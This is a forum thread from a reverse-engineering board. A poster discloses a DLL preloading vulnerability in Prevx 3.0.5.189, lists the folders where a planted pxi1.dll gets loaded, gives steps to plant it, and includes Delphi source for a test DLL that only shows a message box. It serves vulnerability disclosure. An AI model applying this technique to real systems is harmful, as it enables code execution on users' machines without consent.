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Discussion on reverse-engineering and debugging.
 #2732  by STRELiTZIA
 Sat Sep 11, 2010 3:56 pm
EP_X0FF wrote:If you do some profiling with FileMon/DW for example you can watch that many applications are trying to load inexistent dll's (for example Dr.Web in past).
Dr Web in past and Prevx today :mrgreen:


Prevx DLL preloading exploit
====================================================
= PREVX DLL PRELOADING EXPLOIT =
====================================================

Exploit Title : [Prevx DLL preloading exploit]
Date : [11 Sept 2010]
Author : [STRELiTZIA]
Software : [Prevx 3.0.5.189]
Tested on : [Windows Xp SP3]

============================
= Description =
============================
Prevx search and laod "pxi1.dll" library without checks, or any visual warning messages related to
library modifications.
Vulnerability that can allow attackers to execute malicious code locally, without user consent, in the privilege
context of the targeted application.


============================
= Instructions =
============================
Default searching folders:
C:\WINDOWS\pxi1.dll
C:\WINDOWS\system\pxi1.dll
C:\WINDOWS\system32\pxi1.dll
C:\WINDOWS\system32\wbem\pxi1.dll

Additional folders if exists:
C:\Program Files\Borland\Delphi7\Bin\pxi1.dll
C:\Program Files\Borland\Delphi7\Projects\Bpl\pxi1.dll
C:\Documents and Settings\All Users\Documents\RAD Studio\7.0\Bpl\pxi1.dll


1- Copy "Test.dll" into "%One of listed folders% folder"
2- Rename "Test.dll" to "pxi1.dll"

============================
= Tests =
============================
- Launch Prevx.
- Restart your PC.

============================
= Test Dll Source "Delphi" =
============================
Library Test;
uses
Windows;

begin
MessageBoxA
(
0,
PChar('Yep, I''m running in your system without your permission.'),
PChar('Sample'),
MB_ICONSTOP
);
end.
Attachments
(8.25 KiB) Downloaded 36 times
 #2733  by EP_X0FF
 Sat Sep 11, 2010 4:55 pm
Well, it full of holes and has poor level of self protection. I think a lot of security products has such bugs.